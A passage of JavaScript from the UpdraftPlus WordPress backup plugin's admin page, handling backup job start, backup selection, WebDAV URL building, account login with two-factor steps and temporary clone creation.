').html(''+updraftlion.requeststart); requeststart_el.data('remove', false); setTimeout( function() { requeststart_el.data('remove', true); }, 3000 ); setTimeout( function() { requeststart_el.remove(); }, 75000 ); jQuery('#updraft_activejobsrow').before(requeststart_el); } updraft_activejobslist_backupnownonce_only = 1; updraft_send_command('backupnow', params, function(resp) { if (resp.hasOwnProperty('error')) { jQuery('.updraft_requeststart').remove(); alert(resp.error); return; } jQuery('#updraft_backup_started').html(resp.m); if (resp.hasOwnProperty('nonce')) { // Can't return it from this context updraft_backupnow_nonce = resp.nonce; console.log("UpdraftPlus: ID of started job: "+updraft_backupnow_nonce); } setTimeout(function() { updraft_activejobs_update(true);}, 500); }); } jQuery(function($) { // actioned When the checkout embed is complete $(document).on('udp/checkout/done', function(e, data) { if (data.hasOwnProperty('product') && 'updraftpremium' === data.product && 'complete' === data.status) { $('.premium-upgrade-purchase-success').show(); $('.updraft_feat_table').closest('section').hide(); $('.updraft_premium_cta__action').hide(); } }); // Advanced settings new menu button listeners $('.expertmode .advanced_settings_container .advanced_tools_button').on('click', function() { advanced_tool_hide($(this).attr("id")); }); function advanced_tool_hide(show_tool) { $('.expertmode .advanced_settings_container .advanced_tools:not(".'+show_tool+'")').hide(); $('.expertmode .advanced_settings_container .advanced_tools.'+show_tool).fadeIn('slow'); $('.expertmode .advanced_settings_container .advanced_tools_button:not(#'+show_tool+')').removeClass('active'); $('.expertmode .advanced_settings_container .advanced_tools_button#'+show_tool).addClass('active'); } // https://github.com/select2/select2/issues/1246#issuecomment-71710835 if (jQuery.ui && jQuery.ui.dialog && jQuery.ui.dialog.prototype._allowInteraction) { var ui_dialog_interaction = jQuery.ui.dialog.prototype._allowInteraction; jQuery.ui.dialog.prototype._allowInteraction = function(e) { if (jQuery(e.target).closest('.select2-dropdown').length) return true; return ui_dialog_interaction.apply(this, arguments); }; } // Update WebDAV URL as user edits $('#updraft-navtab-settings-content #remote-storage-holder').on('change keyup paste', '.updraft_webdav_settings', function() { var attr_id = $(this).attr('id'); if ('string' !== typeof attr_id) return; var parsed_attr_id = attr_id.match(/updraft_webdav_(.+)_(s-[^_]+)$/i); if (!parsed_attr_id || !parsed_attr_id[1] || !parsed_attr_id[2]) return; var instance_id = parsed_attr_id[2], webdav_input = parsed_attr_id[1].toLowerCase(), masked_password = ''; if ('host' === webdav_input) { $('.webdav-'+instance_id+' .updraft_webdav_host_error').hide(); if ($(this).val().indexOf("@") >= 0) { $(this).val($(this).val().replaceAll('@', encodeURIComponent('@'))); } else if ($(this).val().indexOf("/") >= 0) { $(this).val($(this).val().replaceAll('/', '')); $('.webdav-'+instance_id+' .updraft_webdav_host_error').show(); } } else if ('path' === webdav_input && 0 == $(this).val().indexOf('/')) { $(this).val($(this).val().replace(/^[\/]+/, '')); } var webdav = $('#updraft_webdav_webdav_' + instance_id).val(), host = $('#updraft_webdav_host_' + instance_id).val() || '', user = $('#updraft_webdav_user_' + instance_id).val() || '', password = $('#updraft_webdav_pass_' + instance_id).val() || '', port = $('#updraft_webdav_port_' + instance_id).val() || '', path = $('#updraft_webdav_path_' + instance_id).val() || ''; if (password) { masked_password = password.replace(/./gi,'*'); } if (user && password) { user += ':'; } if ((user || password) && host) { masked_password += '@'; password += '@'; } if (host && port) { host += ':'; } if (path) { path = '/' + path; } $('#updraft_webdav_url_' + instance_id).val(webdav + user + password + host + port + path); $('#updraft_webdav_masked_url_' + instance_id).val(webdav + user + masked_password + host + port + path); }); $('div.ud-phpseclib-notice').on('click', 'button.notice-dismiss', function (event) { event.stopImmediatePropagation(); updraft_send_command('dismiss_phpseclib_notice', null, function(resp, status, response) { if (!resp.hasOwnProperty('success') || 1 !== resp.success) { console.log(resp); alert(updraftlion.unexpectedresponse+' '+response); } }); }); // Delete button $('#updraft-navtab-backups-content').on('click', '.js--delete-selected-backups', function(e) { e.preventDefault(); updraft_deleteallselected(); }); $('#updraft-navtab-backups-content').on('click', '.updraft_existing_backups .backup-select input', function(e) { // e.preventDefault(); updraft_backups_selection.toggle($(this).closest('.updraft_existing_backups_row')); }); $('#updraft-navtab-backups-content').on('click', '#cb-select-all', function(e) { if ($(this).is(':checked')) { updraft_backups_selection.selectAll(); } else { updraft_backups_selection.deselectAll(); } }); $('#updraft-wrap').on('click', '[id^=updraftplus_manual_authorisation_submit_]', function(e) { e.preventDefault(); var method = $(this).data('method'); var auth_data = $('#updraftplus_manual_authentication_data_'+method).val(); $('#updraftplus_manual_authentication_error_'+method).text(); $('#updraft-wrap #updraftplus_manual_authorisation_template_'+method+' .updraftplus_spinner.spinner').addClass('visible'); $('#updraftplus_manual_authorisation_submit_'+method).prop('disabled', true); manual_remote_storage_auth(method, auth_data); }); /** * This method will send the ajax request to manually authenticate the remote storage method and then update the page with the response * * @param {string} method - the remote storage method * @param {string} auth_data - the auth data as a base64 json encoded string */ function manual_remote_storage_auth(method, auth_data) { updraft_send_command('manual_remote_storage_authentication', {method: method, auth_data: auth_data}, function(response) { $('#updraft-wrap #updraftplus_manual_authorisation_template_'+method+' .updraftplus_spinner.spinner').removeClass('visible'); if (response.hasOwnProperty('result') && 'success' === response.result) { $('#updraft-wrap .updraftplus-top-menu').before(response.data); $('#updraft-wrap #updraftplus_manual_authorisation_template_'+method).parent().remove(); $('#updraft-wrap .updraft_authenticate_'+method).remove(); } else if (response.hasOwnProperty('result') && 'error' === response.result) { $('#updraftplus_manual_authentication_error_'+method).text(response.data); $('#updraftplus_manual_authorisation_submit_'+method).prop('disabled', false); } }); } $('#updraft-navtab-backups-content').on('click', '.js--select-all-backups', function(e) { updraft_backups_selection.selectAll(); }); $('#updraft-navtab-backups-content').on('click', '.js--deselect-all-backups', function(e) { updraft_backups_selection.deselectAll(); }); $('#updraft-navtab-backups-content').on('click', '.updraft_existing_backups .updraft_existing_backups_row', function(e) { if (!e.ctrlKey && !e.metaKey) return; if (e.shiftKey) { // it's multiple range selection, it requires the user to hold shift+ctrl buttons during the range selection, the initial and the new starting index is saved in firstMultipleSelectionIndex variable if ("undefined" == typeof updraft_backups_selection.firstMultipleSelectionIndex) { // if all the above conditions are fulfilled then we need to set up the keyup event handler only for range selection operation. By doing it, we also ignore the Apple Command (metaKey) keycode checking which varies among the browser https://unixpapa.com/js/key.html $(document).on('keyup.MultipleSelection', function(e) { // multiple range selection operation requires the user to hold ctrl/cmd + shift buttons all the time during the selections, the range selection operation will be canceled if the user releases one of the held buttons (shitf or ctrl/cmd) and if that happens the highlight mode will stop working updraft_backups_selection.unregister_highlight_mode(); // once this event handler has been triggered and the highlight mode has been turned off, this event handler needs to be removed by using its namespace .MultipleSelection $(document).off('.MultipleSelection'); }); updraft_backups_selection.select(this); $(this).addClass('range-selection-start'); updraft_backups_selection.register_highlight_mode(); } else { updraft_backups_selection.selectAllInBetween(this); jQuery('#updraft-navtab-backups-content .updraft_existing_backups .updraft_existing_backups_row').removeClass('range-selection'); } // set the new starting index to the ending range index updraft_backups_selection.firstMultipleSelectionIndex = this.rowIndex - 1; } else { updraft_backups_selection.toggle(this); } }); updraft_backups_selection.checkSelectionStatus(); $('#updraft-navtab-addons-content .wrap').on('click', '.updraftplus_com_login .ud_connectsubmit', function (e) { e.preventDefault(); var email = $('#updraft-navtab-addons-content .wrap .updraftplus_com_login #updraftplus-addons_options_email').val(); var password = $('#updraft-navtab-addons-content .wrap .updraftplus_com_login #updraftplus-addons_options_password').val(); var auto_update = $('#updraft-navtab-addons-content .wrap .updraftplus_com_login #updraftplus-addons_options_auto_updates').is(':checked') ? 1: 0; var auto_udc_connect = $('#updraft-navtab-addons-content .wrap .updraftplus_com_login #updraftplus-addons_options_auto_udc_connect').is(':checked') ? 1: 0; var options = { email: email, password: password, auto_update: auto_update, auto_udc_connect: auto_udc_connect }; updraftplus_com_login.submit(options); }); $('#updraft-navtab-addons-content .wrap').on('keydown', '.updraftplus_com_login input', function (e) { if (13 == e.which) { e.preventDefault(); var email = $('#updraft-navtab-addons-content .wrap .updraftplus_com_login #updraftplus-addons_options_email').val(); var password = $('#updraft-navtab-addons-content .wrap .updraftplus_com_login #updraftplus-addons_options_password').val(); var auto_update = $('#updraft-navtab-addons-content .wrap .updraftplus_com_login #updraftplus-addons_options_auto_updates').is(':checked') ? 1: 0; var auto_udc_connect = $('#updraft-navtab-addons-content .wrap .updraftplus_com_login #updraftplus-addons_options_auto_udc_connect').is(':checked') ? 1: 0; var options = { email: email, password: password, auto_update: auto_update, auto_udc_connect: auto_udc_connect }; updraftplus_com_login.submit(options); } }); $('#updraft-navtab-migrate-content').on('click', '.updraftclone_show_step_1', function (e) { $('.updraftplus-clone').addClass('opened'); $('.updraftclone_show_step_1').hide(); $('.updraft_migrate_widget_temporary_clone_stage1').show(); $('.updraft_migrate_widget_temporary_clone_stage0').hide(); }); $('#updraft-navtab-migrate-content').on('click', '.updraft_migrate_widget_temporary_clone_show_stage0', function(e) { e.preventDefault(); $('.updraft_migrate_widget_temporary_clone_stage0').toggle(); }); // First tab setup setup_migrate_tabs(); // hide section when clicking the close button $('#updraft-navtab-migrate-content').on('click', '.updraft_migrate_widget_module_content .close', function (e) { $('.updraft_migrate_intro').show(); $(this).closest('.updraft_migrate_widget_module_content').hide(); }); $('#updraft-navtab-migrate-content').on('click', '#updraft_migrate_tab_alt .close', function (e) { e.preventDefault(); $('.updraft_migrate_intro').show(); $('#updraft_migrate_tab_alt').html('').hide(); }); // Migrate show Add site button $('#updraft-navtab-migrate-content').on('click', '.updraft_migrate_add_site--trigger', function (e) { e.preventDefault(); $('.updraft_migrate_add_site').toggle(); }); $('#updraft-navtab-migrate-content').on('click', '.updraft_migrate_widget_module_content .updraftplus_com_login .ud_connectsubmit', function (e) { e.preventDefault(); var email = $('#updraft-navtab-migrate-content .updraft_migrate_widget_module_content .updraftplus_com_login #temporary_clone_options_email').val(); var password = $('#updraft-navtab-migrate-content .updraft_migrate_widget_module_content .updraftplus_com_login #temporary_clone_options_password').val(); var tfa = $('#updraft-navtab-migrate-content .updraft_migrate_widget_module_content .updraftplus_com_login #temporary_clone_options_two_factor_code').val(); var consent = $('#updraft-navtab-migrate-content .updraft_migrate_widget_module_content .updraftplus_com_login .temporary_clone_terms_and_conditions').is(':checked') ? 1 : 0; var options = { form_data: { email: email, password: password, two_factor_code: tfa, consent: consent } }; if (!email || !password) { $('#updraft-navtab-migrate-content .updraft_migrate_widget_module_content .updraftplus_com_login_status').html('' + updraftlion.error + ' ' + updraftlion.username_password_required).show(); } else { temporary_clone_submit(options); } }); $('#updraft-navtab-migrate-content').on('keydown', '.updraft_migrate_widget_module_content .updraftplus_com_login input', function (e) { if (13 == e.which) { e.preventDefault(); var email = $('#updraft-navtab-migrate-content .updraft_migrate_widget_module_content .updraftplus_com_login #temporary_clone_options_email').val(); var password = $('#updraft-navtab-migrate-content .updraft_migrate_widget_module_content .updraftplus_com_login #temporary_clone_options_password').val(); var tfa = $('#updraft-navtab-migrate-content .updraft_migrate_widget_module_content .updraftplus_com_login #temporary_clone_options_two_factor_code').val(); var consent = $('#updraft-navtab-migrate-content .updraft_migrate_widget_module_content .updraftplus_com_login .temporary_clone_terms_and_conditions').is(':checked') ? 1 : 0; var options = { form_data: { email: email, password: password, two_factor_code: tfa, consent: consent } }; if (!email || !password) { $('#updraft-navtab-migrate-content .updraft_migrate_widget_module_content .updraftplus_com_login_status').html('' + updraftlion.error + ' ' + updraftlion.username_password_required).show(); } else { temporary_clone_submit(options); } } }); $('#updraft-navtab-migrate-content').on('click', '.updraft_migrate_widget_module_content .updraftplus_com_key .ud_key_connectsubmit', function (e) { e.preventDefault(); var clone_key = $('#updraft-navtab-migrate-content .updraft_migrate_widget_module_content .updraftplus_com_key #temporary_clone_options_key').val(); var consent = $('#updraft-navtab-migrate-content .updraft_migrate_widget_module_content .updraftplus_com_key .temporary_clone_terms_and_conditions').is(':checked') ? 1 : 0; var options = { form_data: { clone_key: clone_key, consent: consent } }; if (!clone_key) { $('#updraft-navtab-migrate-content .updraft_migrate_widget_module_content .updraftplus_com_key_status').html('' + updraftlion.error + ' ' + updraftlion.clone_key_required).show(); } else { temporary_clone_key_submit(options); } }); $('#updraft-navtab-migrate-content').on('keydown', '.updraft_migrate_widget_module_content .updraftplus_com_key input', function (e) { if (13 == e.which) { e.preventDefault(); var clone_key = $('#updraft-navtab-migrate-content .updraft_migrate_widget_module_content .updraftplus_com_key #temporary_clone_options_key').val(); var consent = $('#updraft-navtab-migrate-content .updraft_migrate_widget_module_content .updraftplus_com_key .temporary_clone_terms_and_conditions').is(':checked') ? 1 : 0; var options = { form_data: { clone_key: clone_key, consent: consent } }; if (!clone_key) { $('#updraft-navtab-migrate-content .updraft_migrate_widget_module_content .updraftplus_com_key_status').html('' + updraftlion.error + ' ' + updraftlion.clone_key_required).show(); } else { temporary_clone_key_submit(options); } } }); $('#updraft-navtab-migrate-content').on('change', '.updraft_migrate_widget_module_content #updraftplus_clone_php_options', function () { var php_version = $(this).data('php_version'); var selected_version = $(this).val(); if (selected_version < php_version) { $('#updraft-navtab-migrate-content .updraft_migrate_widget_module_content .updraftplus_clone_status').html(updraftlion.clone_version_warning); } else { $('#updraft-navtab-migrate-content .updraft_migrate_widget_module_content .updraftplus_clone_status').html(''); } }); $('#updraft-navtab-migrate-content').on('change', '.updraft_migrate_widget_module_content #updraftplus_clone_wp_options', function () { var wp_version = $(this).data('wp_version'); var selected_version = $(this).val(); if (selected_version < wp_version) { $('#updraft-navtab-migrate-content .updraft_migrate_widget_module_content .updraftplus_clone_status').html(updraftlion.clone_version_warning); } else { $('#updraft-navtab-migrate-content .updraft_migrate_widget_module_content .updraftplus_clone_status').html(''); } }); $('#updraft-navtab-migrate-content').on('change', '.updraft_migrate_widget_module_content #updraftplus_clone_backup_options', function() { // reset the package list $('#updraft-navtab-migrate-content .updraft_migrate_widget_module_content #updraftplus_clone_package_options > option').each(function() { var value = $(this).val(); if ('starter' == value) $('#updraft-navtab-migrate-content .updraft_migrate_widget_module_content #updraftplus_clone_package_options option[value="'+value+'"]').prop('selected', true); $('#updraft-navtab-migrate-content .updraft_migrate_widget_module_content #updraftplus_clone_package_options option[value="'+value+'"]').prop("disabled", false); }); var clone_backup_select = $(this).find('option:selected'); if ('current' == $(clone_backup_select).data('nonce') || 'wp_only' == $(clone_backup_select).data('nonce')) return; var total_size = $(clone_backup_select).data('size'); // Disable packages that are to small for this backup set, then set the first available package as the selected option $('#updraft-navtab-migrate-content .updraft_migrate_widget_module_content #updraftplus_clone_package_options > option').each(function() { var size = $(this).data('size'); var value = $(this).val(); if (total_size >= size) { $('#updraft-navtab-migrate-content .updraft_migrate_widget_module_content #updraftplus_clone_package_options option[value="'+value+'"]').prop("disabled", true); } else { $('#updraft-navtab-migrate-content .updraft_migrate_widget_module_content #updraftplus_clone_package_options option[value="'+value+'"]').prop('selected', true); return false; } }); }); $('#updraft-navtab-migrate-content').on('click', '.updraft_migrate_widget_module_content #updraft_migrate_createclone', function (e) { e.preventDefault(); $('#updraft-navtab-migrate-content .updraft_migrate_widget_module_content #updraft_migrate_createclone').prop('disabled', true); $('#updraft-navtab-migrate-content .updraft_migrate_widget_module_content .updraftplus_clone_status').html(''); $('#updraft-navtab-migrate-content .updraft_migrate_widget_module_content .updraftplus_spinner.spinner').addClass('visible'); var clone_id = $(this).data('clone_id'); var secret_token = $(this).data('secret_token'); var php_version = $('#updraft-navtab-migrate-content .updraft_migrate_widget_module_content #updraftplus_clone_php_options').val(); var wp_version = $('#updraft-navtab-migrate-content .updraft_migrate_widget_module_content #updraftplus_clone_wp_options').val(); var region = $('#updraft-navtab-migrate-content .updraft_migrate_widget_module_content #updraftplus_clone_region_options').val(); var package = $('#updraft-navtab-migrate-content .updraft_migrate_widget_module_content #updraftplus_clone_package_options').val(); var updraftclone_branch = $('#updraft-navtab-migrate-content .updraft_migrate_widget_module_content #updraftplus_clone_updraftclone_branch').val(); var updraftplus_branch = $('#updraft-navtab-migrate-content .updraft_migrate_widget_module_content #updraftplus_clone_updraftplus_branch').val(); var admin_only = $('#updraft-navtab-migrate-content .updraft_migrate_widget_module_content .updraftplus_clone_admin_login_options').is(':checked'); var use_queue = $('#updraftplus_clone_use_queue').is(':checked') ? 1 : 0; var db_anon_all = $('#updraft-navtab-migrate-content .updraft_migrate_widget_module_content #updraftplus_clone_backupnow_db_anon_all').is(':checked') ? 1 : 0; var db_anon_non_staff = $('#updraft-navtab-migrate-content .updraft_migrate_widget_module_content #updraftplus_clone_backupnow_db_anon_non_staff').is(':checked') ? 1 : 0; var db_anon_wc_orders = $('#updraft-navtab-migrate-content .updraft_migrate_widget_module_content #updraftplus_clone_backupnow_db_anon_wc_order_data').is(':checked') ? 1 : 0; var backup_nonce = 'current'; var backup_timestamp = 'current'; var clone_backup_select_length = $('#updraft-navtab-migrate-content .updraft_migrate_widget_module_content #updraftplus_clone_backup_options').length; var clone_backup_select = $('#updraft-navtab-migrate-content .updraft_migrate_widget_module_content #updraftplus_clone_backup_options').find('option:selected'); if (0 !== clone_backup_select_length && 'undefined' !== typeof clone_backup_select) { backup_nonce = clone_backup_select.data('nonce'); backup_timestamp = clone_backup_select.data('timestamp'); } var options = { form_data: { clone_id: clone_id, secret_token: secret_token, install_info: { php_version: php_version, wp_version: wp_version, region: region, package: package, admin_only: admin_only, updraftclone_branch: ('undefined' === typeof updraftclone_branch) ? '' : updraftclone_branch, updraftplus_branch: ('undefined' === typeof updraftplus_branch) ? '' : updraftplus_branch, use_queue: ('undefined' === typeof use_queue) ? 1 : use_queue } } }; var backup_options = { db_anon_all: db_anon_all, db_anon_non_staff: db_anon_non_staff, db_anon_wc_orders: db_anon_wc_orders, clone_region: region } if ('wp_only' === backup_nonce) { options['form_data']['install_info']['wp_only'] = 1; } temporary_clone_process_create(options, backup_timestamp, backup_nonce, backup_options); }); // Create a updraftplus_com_login object, to store functions and variables var updraftplus_com_login = {}; updraftplus_com_login.set_status = function(status) { $('#updraft-navtab-addons-content .wrap').find('.updraftplus_spinner.spinner').text(status); } updraftplus_com_login.show_loader = function() { $('#updraft-navtab-addons-content .wrap').find('.updraftplus_spinner.spinner').addClass('visible'); $('#updraft-navtab-addons-content .wrap').find('.ud_connectsubmit').prop('disabled', 'disabled'); } updraftplus_com_login.hide_loader = function() { $('#updraft-navtab-addons-content .wrap').find('.updraftplus_spinner.spinner').removeClass('visible').text(updraftlion.processing); $('#updraft-navtab-addons-content .wrap').find('.ud_connectsubmit').prop('disabled', false); } /* This function will send an AJAX request to the backend to check the users credentials, then it will either inform the user of any errors or if there are none it will submit the form. @param {array} options - an array that includes the users email and password */ updraftplus_com_login.submit = function(options) { $('#updraft-navtab-addons-content .wrap .updraftplus_com_login_status').html('').hide(); if (this.stage) { switch (this.stage) { case 'connect_udc': case 'connect_udc_TFA': // update data in object var email = $('#updraftplus-addons_options_email').val(); var password = $('#updraftplus-addons_options_password').val(); this.login_data.email = email; this.login_data.password = password; // connect_udc again this.connect_udc(); break; case 'create_key': this.create_key(); break; default: this.stage = null; updraftplus_com_login.submit(); break; } return; } this.set_status(updraftlion.connecting); this.show_loader(); updraft_send_command('updraftplus_com_login_submit', { data: options, }, function (response) { if (response.hasOwnProperty('success')) { // logged in was successful, so create a key if the checkbox was checked. if ($('#updraftplus-addons_options_auto_udc_connect').is(':checked')) { this.login_data = { email: options.email, password: options.password, i_consent: 1, two_factor_code: '' }; // CREATE KEY updraftplus_com_login.create_key(); } else { updraftplus_com_login.hide_loader(); $('#updraft-navtab-addons-content .wrap .updraftplus_com_login').trigger('submit'); } } else if (response.hasOwnProperty('error')) { updraftplus_com_login.hide_loader(); $('#updraft-navtab-addons-content .wrap .updraftplus_com_login_status').html(response.message).show(); } }.bind(this)); } updraftplus_com_login.create_key = function() { this.stage = 'create_key'; this.set_status(updraftlion.udc_cloud_connected); this.show_loader(); var command_data = { where_send: '__updraftpluscom', key_description: '', key_size: null, mothership_firewalled: 0 }; // updraftcentral_cloud_show_spinner(modal); updraft_send_command('updraftcentral_create_key', command_data, function(response) { // updraftcentral_cloud_hide_spinner(modal); try { var data = ud_parse_json(response); if (data.hasOwnProperty('error')) { console.log(data); return; } if (data.hasOwnProperty('bundle')) { console.log('bundle', data.bundle); this.login_data.key = data.bundle, this.stage = 'connect_udc'; updraftplus_com_login.connect_udc(); } else { if (data.hasOwnProperty('r')) { $('#updraft-navtab-addons-content .wrap .updraftplus_com_login_status').html(updraftlion.trouble_connecting).show(); alert(data.r); } else { $('#updraft-navtab-addons-content .wrap .updraftplus_com_login_status').html(updraftlion.trouble_connecting).show(); console.log(data); } updraftplus_com_login.hide_loader(); } } catch (err) { console.log(err); updraftplus_com_login.hide_loader(); } }.bind(this), { json_parse: false }); } updraftplus_com_login.connect_udc = function() { var container = $('#updraft-navtab-addons-content .wrap'); updraftplus_com_login.set_status(updraftlion.udc_cloud_key_created); updraftplus_com_login.show_loader(); if ('connect_udc_TFA' == this.stage) { this.login_data.two_factor_code = container.find('input#updraftplus-addons_options_two_factor_code').val(); updraftplus_com_login.set_status(updraftlion.checking_tfa_code); } var login_data = { form_data: this.login_data }; login_data.form_data.addons_options_connect = 1; // Final step, connect UDC with the Key and all. updraft_send_command('process_updraftcentral_login', login_data, function(login_response) { try { var data = ud_parse_json(login_response); if (data.hasOwnProperty('error')) { if ('incorrect_password' === data.code) { container.find('.tfa_fields').hide(); container.find('.non_tfa_fields').show(); container.find('input#updraftplus-addons_options_two_factor_code').val(''); container.find('input#updraftplus-addons_options_password').val('').trigger('focus'); } if ('no_key_found' === data.code) { this.stage = 'create_key'; } // Continue with UpdraftPlus account even if the user has used all UpdraftCentral licences if ('no_licences_available' === data.code) { $('#updraft-navtab-addons-content .wrap .updraftplus_com_login_status').html(updraftlion.login_udc_no_licences_short).show(); data.status = 'authenticated'; container.find('input[name="_wp_http_referer"]').val(function(index, val) { return val + '&udc_connect=0'; }); } else { $('#updraft-navtab-addons-content .wrap .updraftplus_com_login_status').html(data.message).show(); $('#updraft-navtab-addons-content .wrap .updraftplus_com_login_status').find('a').attr('target', '_blank'); console.log(data); updraftplus_com_login.hide_loader(); return; } } if (data.hasOwnProperty('tfa_enabled') && true == data.tfa_enabled) { $('#updraft-navtab-addons-content .wrap .updraftplus_com_login_status').html('').hide(); container.find('.non_tfa_fields').hide(); container.find('.tfa_fields').show(); container.find('input#updraftplus-addons_options_two_factor_code').trigger('focus'); this.stage = 'connect_udc_TFA'; } if ('authenticated' === data.status) { container.find('.non_tfa_fields').hide(); container.find('.tfa_fields').hide(); container.find('.updraft-after-form-table').hide(); this.stage = null; $('#updraft-navtab-addons-content .wrap .updraftplus_com_login_status').html(updraftlion.login_successful_short).show().addClass('success'); // submit the form (to reload the page). setTimeout(function() { $('#updraft-navtab-addons-content .wrap form.updraftplus_com_login').trigger('submit'); }, 1000); } } catch (err) { console.log(err); } updraftplus_com_login.hide_loader(); }.bind(this), { json_parse: false }); } /** * This function will send an AJAX request to the backend to check the users credentials, then it will either inform the user of any errors or display UI elements that include their token count and a way to create new clones. * * @param {array} options - an array that includes the users email and password */ function temporary_clone_submit(options) { $('#updraft-navtab-migrate-content .updraft_migrate_widget_module_content .updraftplus_com_login_status').html('').hide(); $('#updraft-navtab-migrate-content .updraft_migrate_widget_module_content .updraftplus_com_login .updraftplus_spinner.spinner').addClass('visible'); updraft_send_command('process_updraftplus_clone_login', options, function (response) { try { $('#updraft-navtab-migrate-content .updraft_migrate_widget_module_content .updraftplus_com_login .updraftplus_spinner.spinner').removeClass('visible'); if (response.hasOwnProperty('status') && 'error' == response.status) { $('#updraft-navtab-migrate-content .updraft_migrate_widget_module_content .updraftplus_com_login_status').html(response.message).show(); $('#updraft-navtab-migrate-content .updraft_migrate_widget_module_content .updraft_migrate_widget_temporary_clone_stage1 .tfa_fields').hide(); $('#updraft-navtab-migrate-content .updraft_migrate_widget_module_content .updraft_migrate_widget_temporary_clone_stage1 .non_tfa_fields').show(); $('#updraft-navtab-migrate-content .updraft_migrate_widget_module_content .updraftplus_com_login #temporary_clone_options_two_factor_code').val(''); return; } if (response.hasOwnProperty('tfa_enabled') && true == response.tfa_enabled) { $('#updraft-navtab-migrate-content .updraft_migrate_widget_module_content .updraft_migrate_widget_temporary_clone_stage1 .non_tfa_fields').hide(); $('#updraft-navtab-migrate-content .updraft_migrate_widget_module_content .updraft_migrate_widget_temporary_clone_stage1 .tfa_fields').show(); $('#updraft-navtab-migrate-content .updraft_migrate_widget_module_content .updraft_migrate_widget_temporary_clone_stage1 input#temporary_clone_options_two_factor_code').trigger('focus'); } if ('authenticated' === response.status) { $('#updraft-navtab-migrate-content .updraft_migrate_widget_module_content .updraft_migrate_widget_temporary_clone_stage1').hide(); $('#updraft-navtab-migrate-content .updraft_migrate_widget_module_content .updraft_migrate_widget_temporary_clone_stage1 .non_tfa_fields').show(); $('#updraft-navtab-migrate-content .updraft_migrate_widget_module_content .updraft_migrate_widget_temporary_clone_stage1 .tfa_fields').hide(); $('#updraft-navtab-migrate-content .updraft_migrate_widget_module_content .updraft_migrate_widget_temporary_clone_stage1 input#temporary_clone_options_two_factor_code').val(''); $('#updraft-navtab-migrate-content .updraft_migrate_widget_module_content .updraft_migrate_widget_temporary_clone_stage2').show(); $('#updraft-navtab-migrate-content .updraft_migrate_widget_module_content .updraft_migrate_widget_temporary_clone_stage2').html(response.html); if (response.hasOwnProperty('clone_info') && response.clone_info.hasOwnProperty('expires_after')) temporary_clone_timer(response.clone_info.expires_after); } } catch (err) { console.log(err); } }); } /** * This function will send an AJAX request to the backend to check the clone key, then it will either inform the user of any errors or display UI elements that include their token count and a way to create new clones. * * @param {array} options - an array that includes the clone key */ function temporary_clone_key_submit(options) { $('#updraft-navtab-migrate-content .updraft_migrate_widget_module_content .updraftplus_com_key_status').html('').hide(); $('#updraft-navtab-migrate-content .updraft_migrate_widget_module_content .updraftplus_com_key .updraftplus_spinner.spinner').addClass('visible'); updraft_send_command('process_updraftplus_clone_login', options, function (response) { try { $('#updraft-navtab-migrate-content .updraft_migrate_widget_module_content .updraftplus_com_key .updraftplus_spinner.spinner').removeClass('visible'); if (response.hasOwnProperty('status') && 'error' == response.status) { $('#updraft-navtab-migrate-content .updraft_migrate_widget_module_content .updraftplus_com_key_status').html(response.message).show(); return; } if ('authenticated' === response.status) { $('#updraft-navtab-migrate-content .updraft_migrate_widget_module_content .updraft_migrate_widget_temporary_clone_stage1').hide(); $('#updraft-navtab-migrate-content .updraft_migrate_widget_module_content .updraft_migrate_widget_temporary_clone_stage2').show(); $('#updraft-navtab-migrate-content .updraft_migrate_widget_module_content .updraft_migrate_widget_temporary_clone_stage2').html(response.html); if (response.hasOwnProperty('clone_info') && response.clone_info.hasOwnProperty('expires_after')) temporary_clone_timer(response.clone_info.expires_after); } } catch (err) { console.log(err); } }); } /** * This function will add a timer to reset the UI if the user does not create the clone before it expires * * @param {integer} expires_after - the clone expires time in seconds */ function temporary_clone_timer(expires_after) { // the expires_after time is in seconds we need it in milliseconds for the setTimeout function var timeout = expires_after * 1000; temporary_clone_timeout = setTimeout(function () { $('#updraft-navtab-migrate-content .updraft_migrate_widget_module_content .updraft_migrate_widget_temporary_clone_stage2').hide(); $('#updraft-navtab-migrate-content .updraft_migrate_widget_module_content .updraft_migrate_widget_temporary_clone_stage2').html(''); $('#updraft-navtab-migrate-content .updraft_migrate_widget_module_content .updraft_migrate_widget_temporary_clone_stage1').show(); }, timeout); } /** * This function will check if we are using an existing backup and if anything needs downloading before proceeding to process the clone create command * * @param {array} options - an array of options to create the clone * @param {string} backup_timestamp - the timestamp of the backup we want to use or 'current' to create a new backup * @param {string} backup_nonce - the backup nonce of the backup we want to use or 'current' to create a new backup * @param {array} backup_options - an array of options for the backup */ function temporary_clone_process_create(options, backup_timestamp, backup_nonce, backup_options) { var which_to_download = ''; if ('current' != backup_timestamp) { updraft_send_command('whichdownloadsneeded', { updraftplus_clone: true, timestamp: backup_timestamp }, function (response) { if (response.hasOwnProperty('downloads')) { console.log('UpdraftPlus: items which still require downloading follow'); which_to_download = response.downloads; console.log(which_to_download); } // Kick off any downloads, if needed if (0 == which_to_download.length) return; for (var i = 0; i < which_to_download.length; i++) { // updraft_downloader(base, backup_timestamp, what, whicharea, set_contents, prettydate, async) updraft_downloader('udclonedlstatus_', backup_timestamp, which_to_download[i][0], '#ud_downloadstatus3', which_to_download[i][1], '', false); } }, { alert_on_error: false, error_callback: function (response, status, error_code, resp) { if (typeof resp !== 'undefined' && resp.hasOwnProperty('fatal_error')) { console.error(resp.fatal_error_message); $('#updraft-navtab-migrate-content .updraft_migrate_widget_module_content .updraftplus_clone_status').html('

' + resp.fatal_error_message + '

'); } else { var error_message = "updraft_send_command: error: " + status + " (" + error_code + ")"; $('#updraft-navtab-migrate-content .updraft_migrate_widget_module_content .updraftplus_clone_status').html('

' + error_message + '

'); console.log(error_message); console.log(response); } } }); } setTimeout(function () { if (0 != which_to_download.length) { temporary_clone_process_create(options, backup_timestamp, backup_nonce, backup_options); return; } var clone_id = options['form_data']['clone_id']; var secret_token = options['form_data']['secret_token']; updraft_send_command('process_updraftplus_clone_create', options, function (response) { try { $('#updraft-navtab-migrate-content .updraft_migrate_widget_module_content #updraft_migrate_createclone').prop('disabled', false); $('#updraft-navtab-migrate-content .updraft_migrate_widget_module_content .updraftplus_spinner.spinner').removeClass('visible'); if (response.hasOwnProperty('status') && 'error' == response.status) { $('#updraft-navtab-migrate-content .updraft_migrate_widget_module_content .updraftplus_clone_status').html(updraftlion.error + ' ' + response.message).show(); return; } if ('success' === response.status) { $('#updraft-navtab-migrate-content .updraft_migrate_widget_module_content .updraft_migrate_widget_temporary_clone_stage2').hide(); $('#updraft-navtab-migrate-content .updraft_migrate_widget_module_content 